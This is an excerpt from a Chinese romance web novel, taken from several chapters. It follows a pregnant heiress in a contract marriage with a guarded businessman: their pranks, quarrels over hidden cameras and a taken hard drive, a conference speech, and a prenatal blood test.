黎铮嘴唇轻抿,卸下防御姿势,“大概两个多月,跟她接触的时候会勃.起,这种情况已经发生了六次。对路上的孕妇?我知道我有心理疾病,但还没到变态的份儿上。” 赵医生扶了扶眼镜,“她?不是她们?特指一个人而不是一个群体?” “嗯。”他的喉间挤出一个音节。 “你们平时在什么环境下接触?” “我们住在一起。” 赵医生看着他眨了眨眼睛,又低头在本儿上写了写,最后犹豫道:“有没有一种可能,这属于一种生理性的…喜欢?” 面对黎铮,他总是不敢把话说得太绝对,很容易遭到条理清晰的反驳。 比如现在,黎铮说:“不可能。” 他很清楚自己的理想型是什么样子,甄宝珠…除了一点点漂亮,毫无优点。 生活不易,赵医生叹气。 “这其实是个好现象,我觉得你不应该太抗拒。自从你父母车祸之后……我觉得这是个重新建立亲密关系的好契机。” 知道黎铮经历的人不多,那些经历在别人看来有很浓重的传奇色彩,但在心理咨询师眼中,正是那些经历导致他现在严重的防御心理和PTSD(创伤后应激障碍)。 “你们不是已经住在一起了吗?其实可以试着放下防备心理,打开心门。” 虽然心理咨询师不知道黎铮口中的“孕妇”,到底涉不涉及道德伦理问题,但是高智商的人有严重的心理疾病,控制不好对社会危害更大。 黎铮思索片刻,说:“吃什么药能治好?” 医生听了这话,真想给他推荐点儿壮.阳催情的药。 合着他一个字都没听进去。 赵医生眉头动了动,“药物不是什么都可以治疗的,不想与人建立亲密关系,其实也是一种逃避责任的心理。” 黎铮没说话,他和甄宝珠的关系已经很复杂了,他不想让这段关系彻底脱轨,这样会影响到他以后争夺孩子的抚养权。 “你为什么要建议我和她建立亲密关系?你明知道和我关系密切的人都会被伤害,我现在怀疑你的动机。” 赵医生:“……” 这场无疾而终的咨询让黎铮更确定了一件事,赵医生业务能力很一般,根本没必要浪费时间。 他起身就走,走到门口,赵医生忽然开口说:“可你不得不承认,你很久都没来找过我了,最近的日子是否过得比以前轻松?” 黎铮推门的手停顿一下,随后扬长而去。 * 他回到车里,平静地呼吸。 时刻保持理智的大脑短暂放空,他又想起甄宝珠愤然离去的身影。 “关林,甄宝珠去哪了?” 关林在前排回头,嘴巴闭得紧紧的,不敢吱声。 黎铮皱眉,“有话就说。” “宝珠小姐,去了…科技大学。” 黎铮的大脑刚拾起理智,又是一片空白。 16-20 第16章 第 16 章 夫妻情趣。 甄宝珠用力把他推开, 还没来得及审问,锦毛鼠就趿着拖鞋逃离了案发现场。 他起身重新收拾好书柜,把那扇隐门关上, 整理衣服时,忽而发现膝部洇了一小片深深的水痕,一瞬之间黎铮的耳根变得滚烫。 作案者此时正泡在浴缸里清洗, 黑发飘在胸前随着水波晃动, 整个人思绪神游。 甄宝珠攥着拳努力控制自己不要乱想, 但那个画面, 那个触感让她清洗了一遍又一遍,身体却越来越燥,恨不得现在就下楼把黎铮扑倒。 一个肩宽薄肌的大活男人就在楼下, 她却躲在楼上的浴缸里不敢动弹, 丝毫不像她的作风。 但她还没查阅过这方面的资料,不敢轻举妄动。 从开始备孕到现在, 寡了多半年, 饥渴一点儿也是很正常的吧。 甄宝珠这样想着, 又往浴缸里掺了些冷水。 出浴后,她哆哆嗦嗦换了一套厚重浴袍,把自己裹得严严实实下楼, 在墙壁转角探出头。 发现黎铮竟然也换了一套衣服,正坐在沙发走神, 修长的中指和食指无意识地敲桌沿。 甄宝珠给自己暗自打气,气势汹汹叉腰站在他面前, “变态!” 黎铮好像被她骂懵了,停止敲击的动作,眼光直直地看着她, 却不还嘴。 “你说,你把家里弄成这个样子是要干嘛?我的房间浴室是不是也有摄像头?” 眼睁睁看着黎铮的喉结滑了一下,她紧紧咬着嘴唇,好让自己不被男色冲昏头脑。 “你以为自己是007?我是不是还得配合你演一出史密斯夫妇?”甄宝珠猛然想起什么,压低声音说:“你不会还藏枪了吧?那可是非法的!” 黎铮心里很乱头脑更乱,这个女人的脑回路总是在他意料之外。 “我装摄像头只是为了保护自己,你房间的摄像头已经在你入住之前拆掉了,”他轻叹一口气,“我还没问你,你把家里弄成这个样子要干什么?我有没有告诉过你,不要随便碰房子里的东西。” “我也只是为了让居住环境好一点儿,住你这房子我都要抑郁了,别说我的宝宝了。你总是不在家,家里什么样你在意吗?” 甄宝珠忽然发现他们吵的话题好像真夫妻一样。 完了,自己成豪门怨妇了。 黎铮也像个在外挣钱在家遭白眼的老公一样,气势转弱了很多。 “那你下次能至少、起码和我商量一下吗?” “能,”甄宝珠抱着胸口,用要死不活的口气回他,“那你以后出门必须告诉我行程,让我知道你什么时候回家,以防这种事情再发生,吓着我。” 黎铮思索了很久,点头答应下来。 甄宝珠见黎铮这么亏心,便得寸进尺继续套他的话:“你到底在家藏什么了?需要这么安保。” 黎铮撩起眼皮冷视,“别试探我,甄宝珠。” “那你能把摄像头都关了吗?” “不能。” 甄宝珠扁了扁嘴,没说什么。 反正她已经知道了那道暗门,黎铮不在的时候,她进去就能关。 至于黎铮的小秘密,如果能被她找到,她拿捏黎铮不就指日可待,还做小伏低个屁。 黎铮凝着甄宝珠那双提溜乱转的大眼睛,不知道又有什么显而易见的鬼心思。 他重敲了下桌面,“甄宝珠,我还在这儿呢,你没事儿别在我眼前晃。” 他停顿了下,又说:“去把头发吹干。” 甄宝珠的湿发梢还在滴水,水滴顺着黑发尾淌进胸前凹凸有致的锁骨窝,像一滴滴雨蓄在池塘,浑身散发的潮湿气和沐浴露的香气让黎铮莫名心绪不稳。 甄宝珠甩着湿发走了两步又停下,“还有我告诉你,我们是假情假意结婚,不能真枪实弹做.爱,你别对我想入非非。” 黎铮凝眉,放在膝上的手指尖蜷收。 那片湿印让他换了整套衣服。 到底是谁想入非非… * 黎铮这次出差走了一周,晚上带甄宝珠出去吃了顿饭,本来定了玉楼,但甄宝珠前些天重温天下无贼,又吵着闹着要吃烤鸭。 甄宝珠难得胃口好,吃得快卷得慢,死手跟不上趟。 黎铮坐在她对面,慢条斯理卷好放进她盘中,她咬了一口又放下,皱眉道:“我不吃葱,烧胃,给我包山楂蘸白糖。” 黎铮闭眼忍了忍,重新包了个形状完美的口袋小饼,甄宝珠一口吃下,腮帮子撑得鼓鼓的,一脸满足,嘴角沾了酱汁也没发觉。 “我走这些天你都没吃饭吗?”黎铮言外之意是她的吃相一点儿都不大家闺秀。 她好不容易把那口烤鸭咽下去,“我最近胃口差,这个小混蛋在我肚子里折腾了三个多月,好不容易今天能多吃点儿,你少给我上淑女课堂…” 甄宝珠一直很烦当淑女,大家闺秀统一标准都是人们臆想出来的,觉得有钱一定有好品行,她从小父母不在身边,干什么都不受规训,自然不把这些思想裹脚布放在眼里。 女孩子来到这个世界当然是为了享受的。 黎铮刚把新包好的饼夹起准备吃,一抬眼甄宝珠就把嘴巴张得圆圆的等着,“快喂我嘴里,啊~” 黎铮沉了沉气,把精心包好的烤鸭送进她红润的嘴巴里。 一顿饭下来,黎铮没吃着什么,甄宝珠却又撑得走不动。 结账时,收银员的目光总是看着甄宝珠,甄宝珠习惯了走到哪里都吸引目光的美貌,大方地挥了挥手,还给了一个招牌甜笑。 她正沉浸在自恋里,黎铮在她耳边轻声道:“你下巴还有酱汁。” 甄宝珠如临大敌,迅速拿出小镜子,果然没擦干净,她瞥眼瞪着黎铮:“你好歹毒,明明早看到了就不提醒我,要等别人也看到我出糗。” 黎铮眉眼也染了一丝笑意,说:“你说了,不让我给你上课。” 甄宝珠蔑了一眼,抽出黎铮胸前的方巾擦了擦,又把方巾重重扔回他手心。 饭店旁边正好有家母婴店,甄宝珠拉着黎铮进去说要消消食。 她迅速被店里那些毛绒绒的婴儿衣和软绵绵的小袜子软化了心,恨不得全买下来。 店员热情洋溢,全程跟在她身后,把黎铮晾在一旁。 “现在几周了?四个月多了吧?” 甄宝珠摸了摸吃撑的肚子,“只有三个月。” 店员又看了看她的肚子,直勾勾的眼神让她有些不舒服,抬手用小衣服挡着肚子。 “别看了,肚子里一半是饭。” “哦,我看你这肚子,像怀男孩。”店员笑道。 甄宝珠不在意是男孩还是女孩,也没打算去查,她自顾自往前走,挑了几套小衣服,在店员的焦虑营销下又买了几瓶预防妊娠纹的精油,顺手拿了几件孕妇文胸。 黎铮当时正在卖婴儿车、婴儿床的区域对比研究,甄宝珠把婴儿衣拿出来向他展示,“你看,婴儿衣服居然这么小,面料还软软的,我都想穿了。” 黎铮把婴儿衣拿在手上,小衣服也就他两双手掌大小,他脸上也露出会心微笑。 他本想再看看婴儿床,甄宝珠推他去结账,“看这个有什么用嘛,反正生下来我们就该离婚了。” 他看着甄宝珠无所谓的表情,心情忽然像股票急跌。 没有人结婚是为了离婚。 但他和甄宝珠是。 是这些可爱的婴儿衣服让他短暂忘却了这一点。 结账时,店员笑眯眯地说:“爸妈都长得好看,你们的孩子一定很可爱。” “……”甄宝珠忽然觉得有些尴尬。 黎铮倒是没说什么,好像很习惯准爸爸的身份。 “办个会员吧,可以享受折扣,我们店里还会定时推送一些孕期知识,也会请专家来讲生产育婴课。” 黎铮用征询的目光看着甄宝珠,甄宝珠想了会儿说:“行。” 黎铮给她办了充值卡,一次性充了店里最高的额度,店员乐得心里开花。 甄宝珠留下了自己的电话,店员又问黎铮:“准爸爸的电话也留一下吧,我们的会员小程序可以全家绑定,也会给准爸爸推送一些照顾孕妇的知识。” 黎铮犹豫片刻,念出一串数字。 甄宝珠奇怪,“这个电话怎么和我存的不一样?” 黎铮淡淡道:“私人号码。” 甄宝珠:“……” 合着结婚了她还不知道他有两个号码,他给她留的竟然是工作号码。 她有些尴尬,在他腰上偷掐了一把,“黎总,你可真行。” * 回到家,甄宝珠把小衣服都摊开,一件件重新欣赏,在脸上蹭了蹭,然后就全都扔进了衣帽间。 黎铮冷眼旁观,“这么快就腻了?” 甄宝珠白他一眼,“明天我再出去买一批,你有意见?” “没意见,随便你。”黎铮抬脚往书房走。 “站住,”甄宝珠拿着手机命令道:“把你的私人号码再说一遍,刚才没记住。” 黎铮拿出手机按了几个数字,不一会儿甄宝珠的手机就响了。 黎铮说:“我能记住你的就行了,没事别打电话骚扰我。” 知道黎铮私人号码的人一双手就数得过来,他本意就是防骚扰,结果当天晚上骚扰短信就出其不意地溜进他的手机。 【空虚寂寞,小暖帮你,电话……】 他当时没理会,以为是甄宝珠的恶作剧,可是当他从书房出来,甄宝珠人在楼上洗澡,手机被她扔在楼下沙发上。 这时,他又收到一条短信。 【老婆孕期,寂寞难耐,就到沐足堂,技术好,可外卖……】 * 第二天趁黎铮去公司,甄宝珠又偷偷摸进他书房翻箱倒柜,终于被她找到一个神秘档案袋。 一拆开,她在街头喝酒的照片就掉了出来,其余资料都是关于她的,她的家庭树、甄家的发家史、连她爷爷喜欢什么都条条尽列。 “不就结个婚,需要查我祖宗十八代吗?” 甄宝珠拿起照片欣赏片刻,怀念肆意洒脱的时光。 曾经她世界各地游山玩水,现在连酒都不能喝一口,曾经她的细腰盈盈可握,现在她穿牛仔裤都勒得慌。 越想越觉得太不公平,凭什么黎铮就能查到她的一切,而她查黎铮却只能查到他公司地址,她在黎铮眼里几乎是透明的,但她看黎铮还是隔着一堵戒备森严的厚墙。 必须得找到那些不可告人的秘密。 午饭后她和游悠约了一起去购物,她在商场只看休闲宽松的衣服,被游悠指点:“知道了嘛甄宝珠,生孩子是要牺牲身材的,S号已经离你远去,XL正在向你招手。” 甄宝珠拿起小号裙子在身上比划又悻悻放下。 游悠发现她情绪不好,又安慰她,“你还是有魅力的,陈书禾你记得吧?四人约会之后,是他和刘白说想拉个群聊,我猜他是为了加你微信,我早给你算过了,孕期也有桃花。” 甄宝珠拍了一下游悠的脑袋瓜,“我还没说你呢,你那天怎么不实话告诉他,人家都不知道我怀孕,你知道当时多尴尬吗?” 游悠更乐了,“他如果真觉得尴尬就不会想加你微信了,反正我已经告诉他了,你是假结婚没感情,一年以后就要离的。姐妹我都是为你考虑,你想想,你生下孩子和黎铮离婚,立马就能接手一个男大,现在就先养在手机里调剂生活呗,我看他也挺服从调剂的。” 听到离婚这个词儿,甄宝珠心里莫名咯登一下。 没有人结婚是为了离婚。 但她和黎铮是。 她忍不住怼游悠,“你的嘴怎么比复兴号还快?” 见甄宝珠真的生气了,游悠为保住岌岌可危的嫡长闺位置,只能割地赔款。 “生气了?今天你的消费我全包还不行,就当干妈给孩子做点儿贡献。” “这还差不多,”甄宝珠一听这话,又挽住游悠的胳膊怕她半路跑了。 游悠也笑了,对着甄宝珠的肚子说:“乖宝,干妈给你买衣服,晚上能赏脸一起吃饭吗?咱们来一场五人约会,反正你那个临时daddy也不在。” 甄宝珠从买新衣服的雀跃中清醒过来,问:“你怎么知道黎铮不在?” “今天下午他要和我爸爸签合同,晚上他们一起吃饭。” 甄宝珠眼珠一转,“那就是说他下午不在公司?” 如果黎铮的秘密不在家里,一定就是藏在公司,这是个突击检查的好机会。 游悠有点儿懵,“应该吧,我跟你说吃饭的事儿,你想什么呢?” 甄宝珠让人迅速给她打包衣服,“不试了,身上这件吊牌给我剪下来。” 店员提着大包小包跟在甄宝珠身后,甄宝珠跟游悠挥挥手,“今天不吃了,我有事先走,你留下结账啊。” 游悠看着她急匆匆的背影目瞪口呆,花了这么多钱,这家伙一点儿情绪价值都没给她反馈。 * 甄宝珠以老板娘的姿态出现在黎铮公司楼下,前台也没人敢拦她,上楼就有总助室的秘书迎上来。 “黎太太,您怎么来了?” 甄宝珠听这称呼感觉别扭,“叫我甄小姐,或者宝珠小姐,黎总在吗?” “黎总半小时前刚走” 甄宝珠定在黎铮办公室前,抬手一指紧闭的门,“那好,给我开门。” 秘书有些为难,“黎总说过,没有他的允许,谁都不能进他的办公室要不,您先打个电话?” 甄宝珠不耐烦地把猫眼墨镜摘下,目光扫过秘书的脸,“黎总是出去了,还是在办公室藏人了?” “没没没,”秘书连忙摆手,“黎总真的出去了。” 甄宝珠再次懒懒抬手,“打、开。” 为了黎总家庭和谐,秘书还是把门给打开了,他面色紧张,紧跟在甄宝珠身后。 甄宝珠巡视一圈,慵懒得坐在黎铮的椅子上,目光瞥向桌下的保险柜,抬头对秘书莞尔一笑,“行了,你出去吧,我在这儿等他回来。” “要不我帮您给黎总打个电话?他没准不回来” “不用,我会和他联系,你还站在这儿干嘛?出去工作。”她模仿着黎铮的口气赶人出去。 秘书走后,她鬼鬼祟祟蹲下研究黎铮的保险柜,竟然是那种老式的数字密码锁。 奇怪了,家里又是安保又是科技,公司就整这么个破密码锁? 她猛地抬起头,立刻就发现保险柜正上方的高清摄像头,仿佛一只鬼眼盯着她。 甄宝珠:“你就监视吧,你给地球装个电子眼得了呗” 高清摄像头也没能挡住她的好奇心,甄宝珠先输入123555,第二次输入888888,第三次输入黎铮的生日。 “啪嗒。” 保险柜打开了。 这密码这么简单吗? 她伸手进去摸了摸,里面空空荡荡没有金条,只摸到一个黑色硬盘。 甄宝珠把硬盘装进包里,带出了远征集团。 一路上她欣喜若狂,迫不及待连上她的笔记本电脑,却发现那是个加密硬盘。 她想起游悠的小男朋友是计算机专业的,就把硬盘给了游悠,两人像地下党接头似的。 甄宝珠对她千叮咛万嘱咐:“刘白解码的时候你一定要在旁边看着,硬盘里的重要内容绝对不能外泄。” * 晚餐前黎铮就提前回了家,当时甄宝珠正趴在床上翘着腿打游戏。 黎铮站在她卧室门口,静静看着她。 她早听到了脚步声,但她装作无事发生,连头都不抬。 “那个母婴店你别再去了。”黎铮说。 “为什么?”她漫不经心问道。 “别问了,公司法务部准备以泄露客户信息起诉她们,现在在收集证据阶段。”黎铮停顿了下,“以后出去买母婴用品,如果需要留电话,把我的电话和你的对调一下。” 甄宝珠也懒得多问,表现得十分乖巧。 “好。” “听说你去我办公室了?” 黎铮的语气很坚定,根本不像是问句。 “嗯。” “拿了什么东西?” 甄宝珠不用看他的脸就能想像到他正在努力克制怒意,她抬起头,笑吟吟问他:“你紧张什么?” 黎铮回敬她一个冷冰冰的笑容,“我当然是紧张你,回来的路上,你不冷吗?” 甄宝珠忽然耳根发烫,腿也往被窝里收了收。 当时黎铮接到秘书的电话,打开监控软件,摄像头实时显示甄宝珠赤脚站在椅子上,对着摄像头挥了挥手,下一秒屏幕就黑了。 他推掉晚上的会餐,回到办公室甄宝珠人已经不见了,他下意识抬眸看了一眼摄像头。 一条黑色蕾丝内裤挂在上面。 他沉了口气,“甄宝珠,你好大的胆子。” 甄宝珠侧身一躺,手臂弯起,手背支着脸颊,调笑道:“这不是我们夫妻间的情趣吗?” 睡衣下的玲珑曲线,白净修长的小腿配上暗含挑衅的笑容,在黄昏光晕中令人迷惑。 黎铮目光沉沉,唇边蓦地挑起一缕笑意。 他走进卧室反手关上房门,越过甄宝珠的床沿,双手将窗帘拉了个严严实实。 卧室忽然变得昏昏暗暗,空气中颤动着甄宝珠略显局促的呼吸声。 “你干嘛?”甄宝珠坐起来裹紧睡衣,扯过薄被盖在自己身上。 黎铮仍不说话,松了松领带,坐在甄宝珠的床边,俯身靠近,伸开手臂把她整个人向自己的方向挪了一寸。 属于黎铮的气息强烈地侵占她的地盘。 他身上的味道是一杯深度烘焙的意式咖啡,烟熏调的苦涩,粗糙如砂砾的余味,让人一闻到就条件反射似的认为这个人应该打起精神来对付,不能有一丝怠慢,也尝不到一丝甜头。 甄宝珠不停往上滑,背脊紧贴床头,脱口而出:“我现在是孕早期,你别过来啊。” 他手掌撑在床头,低语:“你要的情趣我给你了,我要的你能给我吗?” 他的嘴唇快要碰到甄宝珠的耳垂,低哑的声音传入神经,白皙的皮肤激起一层细小颗粒。 甄宝珠的手不知道该往哪里放,用胳膊抵住他凑近的胸口,“不行,不行,孕早期不行的。” 他冷冷笑了一声,“想入非非的是你吧?我要你把我的硬盘拿回来。” 甄宝珠:“???” 甄宝珠眨着眼看着黎铮,感觉他虽然没脱她衣服,但又把她玩儿了。 黎铮早已站起身,耳边的滚烫也远离了她,却让她心里一阵空虚。 “明天早上我要见到硬盘。”黎铮整理好西装,走到门口又停住脚步,“我也提醒你一下,我们是假情假意结婚,不能真枪实弹…” 那两个字他说不出口。 床上的枕头飞了过来,黎铮偏头躲开,留下一脸凌乱的甄宝珠。 她恨恨地把门摔上,立刻打开手机致电游悠,她一定要扳回一局。 “硬盘解码了吗?” 对面响起陈书禾的声音:“姐姐,游悠去卫生间了,刘白和我在一起解码,你介意吗?” 她也管不了许多,“不介意,说结果。” “硬盘里有一个txt文件。” “然后呢?” “名称是孕期知识大全。” “” “姐姐,这应该不是什么重要文件吧,我们还没打开。” “打开。”甄宝珠仍不死心 陈书禾顿了顿,听筒里传来鼠标点动的声音,“副标题是,献给宝珠小姐。” 挂断电话,甄宝珠捏着手机往床上狠狠一砸,在被子里狂蹬乱踹。 “啊啊啊!黎铮!我一定要杀了你!!!” 声音响彻整座别墅区,保镖闻声而动,却接到黎铮的电话,说不用过来了。 “可是,黎总,我们听到了” 黎铮难得心情很好,“表达一下情绪而已,不是真杀。” 第17章 第 17 章 听到你在浴室演讲了。…… 黎铮对她早有防备, 甄宝珠既然查了家里,就会查公司,他把每一步都算得很精准, 专门为她准备了孕期知识大全,只是仅能听到她的声音,看不到她气急败坏的小表情, 有点儿遗憾。 就像他说的, 夫妻之间相互博弈才有意思, 因为他会始终占上风。 但也不一定, 如果小公主很记仇的话。 最近黎铮要参加一个投资界的高峰论坛,还要代表青年企业家演讲。 当天甄宝珠也打扮得端雅大方,黎铮出门时, 她也跟着出门, 黎铮从右侧车门上车,她自己拉开左侧车门跳上车。 “我都要无聊死了, 你带我去玩玩儿嘛, 我不会给你丢人的, 毕竟我也是商学院毕业的。” 黎铮平静地看着甄宝珠,“你是商学院肄业。” 她的假毕业证骗骗家人还差不多,黎铮手上可是有她祖宗十八代的资料。 甄宝珠小声叨叨, “就这么点儿黑历史,你就不能不说” 黎铮拒绝, “会场人多,我可能顾不到你, 磕碰了谁来负责?” “我自己负责,我超乖的。”甄宝珠眨巴着水汪汪的杏眼对天发誓。 黎铮放在膝上的手指叩了叩,经不起她死皮赖脸, 无可奈何点头答应。 * 俊男靓女的组合吸引了会场大部分人的目光,黎铮和甄宝珠手挽手出现震惊了许多人,他们的婚讯从未公布过,此时也迎来议论纷纷。 “这就是黎总的新婚妻子?怎么都显怀了?” “这不是甄家的女儿?早些年出国那个。” “没听到风声呀,婚礼邀请你了吗?” 甄宝珠一袭黑裙像高贵骄傲的黑天鹅,黎铮实在无法把在家撒泼打滚的锦毛鼠和眼前的气质美人联系在一起。 甄宝珠款款落座,一直都表现得矜持大方,可只有她自己知道,此时肚子里那个小混蛋正在攻击她的膀胱。 为了等黎铮上台,她在台下硬憋着。 好不容易等到黎铮上台,她从包包里拿出手机,打开摄像功能。 那画面看起来是意气风发的丈夫代表青年企业家演讲,台下怀孕的妻子骄傲自豪地拍摄下来,没准还会发到社交平台炫耀。 台上的黎铮见甄宝珠拿出手机,瞬间眼皮跳了一下,优雅的天鹅公主正用手机挡着半张脸,但眉眼之间是他熟悉的狡猾笑意。 黎铮翻开关林提前准备好的演讲稿,垂眸看去,演讲稿变成了烟熏妆的甄宝珠正在对他竖中指。 台下的甄宝珠眼皮一撩,挑起眉梢与台上的黎铮对视。 老娘不发威,你当我是小羊啊。 她正沾沾自喜,黎铮隔着人群,对她报以了然微笑。 黎铮合上“演讲稿”,清清嗓子,开始了一场脱稿演讲。 甄宝珠越听越觉得不对劲儿,从包里掏出他的演讲稿本稿,一个字一个字对下去,竟然一个字都不落。 他整天忙于工作,这样应付场面的演讲稿应该不会浪费时间去背的。 甄宝珠有点儿懵了,她不知道黎铮的脑子像内置照相机一样,看过一眼就能全记下来。 “让我们赓续传统,共同携手,年轻一代必将战胜新的挑战。” 本来他的演讲稿到这儿也就结束了,黎铮望着甄宝珠,又加了一句话。 “当然,所有的荣誉都要归功于家人在‘背后支持’,我只付出了百分之一,剩下的百分之九十九都是我爱人在默默付出。感谢你,甄宝珠小姐。” 周围人的目光都投向甄宝珠,只有她能听出黎铮的暗讽,顿时尴尬地脚趾扣地,脸上还要僵硬地笑,向左右点头。 黎铮在掌声中稳重下台,落座甄宝珠身边,把她的手牵起,让她挽着自己的手臂。 “我说今天怎么非要跟着我呢,原来是想看戏。”黎铮侧眸,目光落在甄宝珠发烫的脸颊。 甄宝珠假惺惺笑着,动手扭了一下他的手臂内侧,“你别得意。” “失望了?再接再厉。” “闭嘴吧。” 黎铮不动声色护住她的手,把她的手指包回自己手心里,他知道甄宝珠一破防就要动手。 旁人看来小两口是情真意切难舍难分,刚下台就牵小手。 * 甄宝珠趁着别人演讲途中跑去洗手间,对着镜子恨恨地补口红,一转身,碰到了她十分不想看到的人柳尚惠。 自从那日夜店之后,她还见过柳尚惠,没想到他竟然也能代表柳氏集团参加这场高峰论坛。 甄宝珠瞪柳尚惠一眼,甩了甩手,把水渍都溅在他的西装上,往前走了两步,他却挡在她面前。 柳尚惠脸上泛起古怪的笑容,“甄宝珠,你挺厉害呀,前段时间刚回国,这就显怀了?” 甄宝珠拿柳尚惠的西装抹了抹手,“心情不好,你别惹我,赶紧滚开。” 柳尚惠不依不饶,“先毁了我的婚约,后毁了我的合约。宝珠妹妹,这就要走?” “什么合约?你的狗嘴再说什么狗话?”甄宝珠没拿正眼看他。 “黎铮的投资合同本来是要和柳氏集团签的,却被你哥哥甄世明截胡,我当是因为什么呢,没想到甄家不和我们联姻是拜高踩低,看不上我们家那点儿钱想钓大鱼。” 甄宝珠哼笑一声,“看不上你们家那点儿钱是真的,为什么不和你们联姻你心里没点儿数?不是所有人都像你一样猥琐,下流的人眼里果然都是脏儿事。” 柳尚惠顶了顶腮,攥住她的手腕,狠道:“把你拍的照片交给我,不然我可就要怀疑你这孩子是谁的了?你以为你是什么好东西吗?” 甄宝珠挣了挣手腕,“放开我,别让我大嘴巴抽你。” 刚要抬手抽他,她就被身后的力量攥住手腕。 黎铮握住她的手将她带至身后,挺拔的身形站在柳尚惠面前,目光像一把锐器刺进柳尚惠眼里。 “甄宝珠是什么样的人,柳总难道比我这个丈夫更清楚吗?” 柳尚惠气势减弱,但仍愤愤不平,“黎总,我只是想问一下,您最后为什么没有选择我们集团?” 黎铮冷冷道:“你这样对我的妻子,还用问吗?这种事情再发生一次,我向你保证柳氏集团的股票会比你现在的脸色还难看。” 黎铮扔下话就拉着甄宝珠离开现场,留下柳尚惠错愕不已。 * 车子驶离会场,甄宝珠质问黎铮:“你刚才为什么不让我抽他?” “暴力能解决所有问题吗?”黎铮反问:“你抽他一巴掌有什么用,如果我不在,他会不会还手打你也未可知吧?” 甄宝珠怒气未平,抱着胳膊,偏腿挪身,离他远远的。 用枪瞄胸口,拿刀捅要害。 对一个刚上市的集团来说,股票暴跌能要柳尚惠的命。 但甄宝珠正上头不会理解这些道理。 黎铮短叹一声,“别生气了,你总是那么冲动,不怕动了胎气?” 一句话又捏住了甄宝珠的软肋,她立刻盘腿做深呼吸。 吸气、呼气。 世界如此美妙~ 调整好状态,她才转过头来,“听说你也是商学院毕业的?你能不能教教我?” 黎铮目光睨过来,“要和我化敌为友?” “算了,我知道我斗不过你,想跟你学两招,毕竟以后我也要继承产业当老板的。”甄宝珠泄气道。 君子报仇十年不晚。 跟你学两招,以后再来斗你。 “那请问宝珠小姐,我今天被换掉的演讲稿算什么?”黎铮唇角漾起笑意。 “算你倒霉。你最好也收敛一点儿,不然我的写真集将出现在你签的每一份合同上。” 宝珠小姐的软话只能说一句。 黎铮挑眉,像是猛然想起了什么。 “哦对了,我劝你早点和家人摊牌,今天你陪我出席活动,新闻会报道,别让甄叔叔措手不及,我们夫妻同体,就算倒霉也要一起倒霉。” 甄宝珠忽然回想起,他特意在最后对她指名道姓地致谢,“黎铮,你是不是又在阴我?” 黎铮微笑不语,那张脸怎么看怎么欠揍。 * 没出意外,甄宝珠当天被越洋电话骂了一个晚上,有甄世明“珠玉在前”,老两口心理承受能力增强不少,甄宝珠做出荒唐事也是意料之中。 最让她无语的是爸爸竟然相信黎铮是根红苗正的好青年,连演讲都特意感谢她,而她是一个受资本主义思想毒害的不良少女。 偷偷领证结婚一定是她的馊主意。 虽然这是事实,但父母话里话外的捧一踩一让她郁闷不已。 父亲骂了一晚上,母亲还是有点人性,在挂电话之前询问她怀孕的状况,嘱咐了两句,还说过几天要回来看看她。 老两口嘴硬心软,刚挂断电话,甄宝珠就收到了副卡提额的短信。 她美滋滋打开微信,给爸妈发了一串可爱表情包,又打开相册重新欣赏了一下黎铮的演讲视频,不得不说,黎铮在台上姿态挺拔,确实挺根红苗正的,演讲的时候更是闪闪发光。 甄宝珠忽然觉得他认真起来(不抬杠)的时候还是挺迷人的,尤其是他发现演讲稿被替换之后抬眼看甄宝珠还对着她笑,笑容里总有蛊惑人心的劲儿。 不知不觉,甄宝珠就看了三遍。 之后在她去浴室泡澡,捏着手机当话筒,大声模仿黎铮在台上的演讲,“所有的荣誉都要归功于家人在背后支持,我只付出了百分之一,剩下的百分之九十九都是我爱人在默默付出。” 她敞开手臂迎接未来,“啊,感谢你,甄宝珠小姐。” 手机忽然震动,跳出黎铮的微信消息。 【周三给你预约了唐氏筛查,别忘了。】 【还有,声音小一点。】 【保镖听到你在浴室演讲了。】 第85章 第 85 章 我们小两口好着呢。 对于甄宝珠“虚心”拜师, 黎铮还是挺用心对待的,抽时间给她列了个学习计划,也是担心她无聊又到处搞事。 黎铮从书房拎出好几本陈年旧书, 都是他曾经看过也做过笔记的,他本以为甄宝珠学习起来应该不吃力,先给她规定每天看100页, 晚上回家他要抽查。 第一天, 他回家就看到甄宝珠趴在书桌前苦读, 本来还很欣慰, 但仔细一看,书是只看了二十页的,旁边放的英文词典倒快被她翻烂了。 “什么破书, 这一长串儿专业名词怎么读?” 第二天, 他降低了阅读任务,让她只读50页, 他打开家里监控抽检学习进度, 甄宝珠从端端正正坐在书房, 到四仰八叉躺在沙发,只用了一个小时。 第三天,黎铮对甄宝珠说:“你要不换个赛道吧?” 甄宝珠怒而扔书, 把卸载三天的游戏又下了回来,打到深夜。 第四天一早, 甄宝珠睡得昏天暗地,早就把做唐筛的事儿忘干净了, 黎铮在楼下等了一个小时,最后不得已把她从床上拎起来。 她懒洋洋和黎铮来到医院,医生听完胎心询问她最近的情况。 “孕反好一些了, 饭量也可以,但特别尿频,还总是觉得困,想睡觉。” 甄宝珠现在就困得睁不开眼,支着下巴走神儿。 “看出来了,”刘医生说:“先给你开检查单,抽血做唐筛吧。” 她瞬间清醒,眼睛睁大,脑子像被输入强制开机口令。 “抽血?” “啊,怎么了?” “刘医生,上个月刚抽过。” “没错,下个月还得抽。”刘医生头都没抬。 “……” 甄宝珠攥着检查单走出诊室,脚步不停就往医院门外走,完全忽略了等在诊室外的黎铮。 黎铮拉住她的手臂,“干什么去?” 甄宝珠啰啰嗦嗦、念念叨叨:“干什么都行,不抽血。” 黎铮抬腕看表,眉头紧锁,“我还有工作,早上你已经耽误我时间了,赶紧上楼。” 甄宝珠一直退缩摇头,像一条被扯住尾巴的小鱼。 “别让我大庭广众扛你上楼。”黎铮咬牙威胁道。 甄宝珠在黎铮的挟持下慢吞吞上楼,生无可恋地坐在采血窗口外,磨磨蹭蹭伸出胳膊,一脸英勇就义。 黎铮也脱下西装,把一条胳膊伸给她,脸上仍是不耐烦的表情,“抓着我。” 甄宝珠悻悻捏着他小臂结实的肌肉,“你还有这种觉悟?” 如果不是为了娇气公主能好好配合节省时间,黎铮才懒得理她。 “记得闭眼,不看就不疼。” 甄宝珠立刻皱鼻子挤眼睛,眼皮儿粘得牢牢的,嫣红的嘴唇也紧紧抿着。 这么丑的表情,她还真不把他当外人。 他唇角刚向上翘起弧度,下一秒也笑不出来了。 让她抓,她真抓,抓得他整条胳膊差点不回血,指尖都麻了一瞬。 抽完血,黎铮刚想解开袖扣看看自己的伤势,娇气公主又哭得惨绝人寰。 旁边一小孩哥把他妈用来哄他的冰激凌递给黎铮,“叔叔,拿着吧,姐姐太吵了。” 